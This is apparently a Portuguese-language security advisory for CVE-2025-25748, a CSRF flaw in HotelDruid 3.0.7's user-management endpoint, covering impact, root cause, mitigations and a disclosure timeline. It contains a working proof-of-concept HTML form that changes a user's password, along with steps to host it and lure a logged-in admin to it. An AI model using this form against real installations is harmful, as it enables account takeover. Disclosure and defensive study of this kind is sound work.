CVE-2025-25748-Cross-Site-Request-Forgery-CSRF-Vulnerabilidade-em-HotelDruid-3.0.7
Descrição
Uma vulnerabilidade de Cross Site Request Forgery (CSRF) no endpoint gestione_utenti.php do HotelDruid 3.0.7 permite que atacantes realizem ações não autorizadas (por exemplo, modificar senhas de usuários) em nome de usuários autenticados, explorando a falta de validação de origem ou referer e a ausência de tokens CSRF.
Impacto
- Alterações Não Autorizadas de Senha: Atacantes podem sobrescrever senhas de usuários, levando à assunção completa da conta.
- Sequestro de Sessão: O atacante pode aproveitar a sessão ativa da vítima para fazer alterações administrativas não autorizadas.
- Risco de Violação de Dados: Se contas administrativas forem comprometidas, dados sensíveis de usuários e operacionais podem ser expostos ou alterados.
Esta vulnerabilidade expõe todas as contas de usuários — incluindo as administrativas — a alterações não autorizadas sem o consentimento do usuário.
Prova de Conceito (PoC)
O seguinte formulário malicioso demonstra como um atacante pode forçar um administrador logado a alterar a senha do usuário ID 2 para maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
Hospedando e Lançando o Ataque
Salve o código acima como csrf_attack.html.
Sirva-o usando Python (servidor controlado pelo atacante):
python3 -m http.server 8080
Direcione a vítima para:
http://<attacker-ip>:8080/csrf_attack.html
Uma vez submetido, o formulário envia a requisição para o HotelDruid, alterando a senha do usuário ID 2 para maliciouspassword, usando a sessão ativa da vítima.
Análise
Contexto
O HotelDruid é um sistema de gerenciamento de propriedades de código aberto amplamente utilizado para hotéis e aluguéis de temporada. Como um sistema multiusuário com controles administrativos para gerenciamento de usuários, garantir que apenas usuários autorizados possam modificar credenciais de conta é crítico para a segurança geral do sistema.
Vulnerabilidades CSRF exploram a confiança que um servidor deposita na sessão do navegador do usuário. Se uma vítima está logada e visita uma página maliciosa, a página pode enviar requisições não autorizadas silenciosamente para a aplicação vulnerável, usando a sessão ativa da vítima. No HotelDruid, a falta de defesas CSRF em ações críticas — como alterar senhas de usuários — permite que atacantes comprometam completamente as contas sem interação do usuário além de visitar um link malicioso.
Detalhes da Vulnerabilidade
Endpoint Afetado
Parâmetros Afetados
modifica_pass
id_utente_pass
prima_pass
seconda_pass
Causa Raiz
- Nenhum token anti-CSRF está presente no formulário ou validado no lado do servidor.
- Nenhuma validação dos cabeçalhos
Origin ou Referer é realizada.
- A aplicação confia cegamente em requisições POST recebidas, incluindo aquelas originárias de sites externos.
Fluxo de Exploração
- O atacante prepara um formulário HTML malicioso com campos ocultos pré-preenchidos direcionados a
gestione_utenti.php.
- O atacante engana um usuário logado do HotelDruid (ex.: admin) para visitar a página maliciosa.
- Ao visitar, o formulário é submetido automaticamente, enviando uma requisição válida para alterar a senha de um usuário para um valor controlado pelo atacante.
- A sessão da vítima é usada para autorizar a requisição, sem seu conhecimento ou consentimento.
Impacto
- Assunção de Conta: A senha de qualquer usuário (incluindo contas de admin) pode ser alterada sem seu conhecimento, dando ao atacante acesso total.
- Escalação de Privilégio: Atacantes podem escalar privilégios se conseguirem primeiro comprometer um usuário de nível inferior e então pivotar usando ações administrativas.
- Riscos à Integridade dos Dados: Atacantes podem modificar contas de usuários, potencialmente bloqueando usuários legítimos ou criando acesso de backdoor.
Mitigação / Correção
Recomendações para Desenvolvedores
Tokens Anti-CSRF
- Implementar e impor tokens anti-CSRF únicos para todos os formulários e requisições que alteram estado.
- Verificar os tokens no lado do servidor antes de processar as requisições.
Validação do Cabeçalho Referer/Origin
- Validar os cabeçalhos
Referer e Origin para garantir que as requisições venham de origens confiáveis.
Limitar Operações Sensíveis via Requisições GET
- Alterações de senha e ações similares devem ser restritas apenas a requisições POST.
- Evitar passar dados sensíveis de sessão (como
id_sessione) na URL.
Melhorias no Gerenciamento de Sessão
- Regenerar tokens de sessão após o login.
- Vincular tokens de sessão a endereços IP ou impressões digitais do navegador, quando viável.
Notificação ao Usuário
- Notificar os usuários (por e-mail ou alerta no aplicativo) quando ações sensíveis como alterações de senha ocorrerem.
Linha do Tempo e Créditos
- Data da Descoberta: 16 de janeiro de 2025
- Notificação ao Fornecedor: 17 de janeiro de 2025
- Atribuição CVE pelo MITRE: CVE-2025-25748, 27 de fevereiro de 2025
- Divulgação Pública: 7 de março de 2025
- Pesquisador: Huy Vo (Pesquisador de Segurança)